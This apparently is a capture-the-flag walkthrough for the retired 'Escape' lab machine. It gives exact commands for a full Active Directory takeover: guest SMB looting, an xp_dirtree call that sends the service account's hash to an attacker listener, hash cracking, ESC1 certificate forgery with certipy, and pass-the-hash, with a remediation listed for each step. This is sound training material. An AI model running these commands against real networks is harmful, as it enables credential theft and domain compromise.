Escape
Summary
The Active Directory Domain Controller for sequel.htb ($TARGET) was fully compromised through a chain of five exploitable misconfigurations. A guest-readable SMB share exposed an internal PDF containing live database credentials.
Those credentials gave access to a SQL Server instance where the xp_dirtree stored procedure forced the service account to authenticate against my own listener, yielding its NTLMv2 hash, which cracked to a weak plaintext password. A WinRM shell as that service account exposed the SQL Server backup error log, which contained a domain user's real password recorded verbatim by SQL Server after the user mistyped it in the username field of a failed login.
Authenticated as that domain user, I queried the Active Directory Certificate Services infrastructure and found a certificate template that permitted any authenticated user to request a certificate with a self-chosen Subject Alternative Name, including administrator@sequel.htb. A forged certificate was issued, PKINIT authentication converted it to the Administrator's NT hash, and a pass-the-hash login over WinRM delivered full domain control.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
List the Public share without credentials to confirm guest read access.
$ smbclient //$TARGET/Public -U 'guest%' -c 'ls'Download the exposed PDF.
$ smbclient //$TARGET/Public -U 'guest%' -c 'get "SQL Server Procedures.pdf" /tmp/sql.pdf'Extract text; reveals sequel.htb\PublicUser's password in the setup section.
$ pdftotext /tmp/sql.pdf -FixDisable guest SMB access and remove credentials from shared documentsCritical
Exact commands 3
Start the NTLM capture listener on my VPN interface; run in background before the next step.
$ sudo responder -I tun0 -wConnect to MSSQL as the guest credential from the PDF.
$ impacket-mssqlclient sequel.htb/PublicUser:$PASSWORD@$TARGETRun inside the mssqlclient session; replace $ATTACKER_IP with your tun0 address. Forces sql_svc to authenticate outbound to your listener.
$ EXEC master.sys.xp_dirtree "\\$ATTACKER_IP\share",1,1;FixDisable xp_dirtree and block outbound SMB from the Domain ControllerHigh
Exact commands 3
Read the captured hash from Responder's log directory.
$ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txtCrack the NTLMv2 hash; recovers <withheld>. Run on the GPU host, not the Kali VM.
$ hashcat -m 5600 sql_svc.hash /usr/share/wordlists/rockyou.txt --forceValidate the recovered credential against WinRM; expect Pwn3d!.
$ nxc winrm $TARGET -d sequel.htb -u sql_svc -p "$PASSWORD2"FixReplace service account passwords with Group Managed Service AccountsHigh
Exact commands 3
Read the SQL Server backup error log as sql_svc; locate the failed-login entry containing Ryan.Cooper's password.
$ nxc winrm $TARGET -d sequel.htb -u sql_svc -p "$PASSWORD2" -x "Get-Content 'C:\SQLServer\Logs\ERRORLOG.BAK'"Validate the harvested credential.
$ nxc winrm $TARGET -d sequel.htb -u Ryan.Cooper -p "$PASSWORD3"Read the user flag; output is <user.txt>.
$ nxc winrm $TARGET -d sequel.htb -u Ryan.Cooper -p "$PASSWORD3" -x "type C:\Users\Ryan.Cooper\Desktop\user.txt"FixRestrict access to SQL Server error logs and treat them as sensitive dataHigh
Exact commands 1
Enumerate ADCS templates and print ESC1-ESC8 misconfigurations to stdout; no output file needed.
$ certipy-ad find -u Ryan.Cooper@sequel.htb -p "$PASSWORD3" -dc-ip $TARGET -vulnerable -stdoutFixRemove the enrollee-supplied Subject Alternative Name flag from ADCS certificate templatesCritical
Exact commands 4
Request a CA-signed certificate asserting administrator@sequel.htb; saves /tmp/admin.pfx.
$ certipy-ad req -u Ryan.Cooper@sequel.htb -p "$PASSWORD3" -dc-ip $TARGET -ca sequel-DC-CA -template UserAuthentication -upn administrator@sequel.htb -out /tmp/adminQuery the DC's current time to determine the clock skew before Kerberos authentication.
$ nmap -sT -p445 --script smb2-time $TARGETDisable NTP and set my clock to match the DC; replace <DC_UTC_TIME> with the value from nmap output.
$ sudo timedatectl set-ntp false && sudo date -u -s "<DC_UTC_TIME>"Authenticate with the forged certificate; the KDC returns the Administrator NT hash via UnPAC-the-hash.
$ certipy-ad auth -pfx /tmp/admin.pfx -dc-ip $TARGET -username administrator -domain sequel.htbExact commands 2
Validate pass-the-hash access as domain Administrator; expect Pwn3d!.
$ nxc winrm $TARGET -d sequel.htb -u administrator -H $HASHRead the root flag; output is <root.txt>.
$ nxc winrm $TARGET -d sequel.htb -u administrator -H $HASH -x "type C:\Users\Administrator\Desktop\root.txt"Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets an unauthorised user obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Exposed services
| 53/tcp | dns recon-sweep-discovered |
| 88/tcp | unknown recon-sweep-discovered |
| 135/tcp | rpc recon-sweep-discovered |
| 139/tcp | smb recon-sweep-discovered |
| 389/tcp | ldap recon-sweep-discovered |
| 445/tcp | smb recon-sweep-discovered |
| 464/tcp | unknown recon-sweep-discovered |
| 593/tcp | http recon-sweep-discovered |
| 636/tcp | ldap recon-sweep-discovered |
| 1433/tcp | ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM |
| 3268/tcp | ldap recon-sweep-discovered |
| 3269/tcp | unknown recon-sweep-discovered |
| 5985/tcp | winrm recon-sweep-discovered |
| 9389/tcp | unknown recon-sweep-discovered |
| 49667/tcp | unknown recon-sweep-discovered |
| 49689/tcp | unknown recon-sweep-discovered |
| 49690/tcp | unknown recon-sweep-discovered |
| 49713/tcp | unknown recon-sweep-discovered |
| 49722/tcp | unknown recon-sweep-discovered |
| 49743/tcp | unknown recon-sweep-discovered |
| 53/udp | domain |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.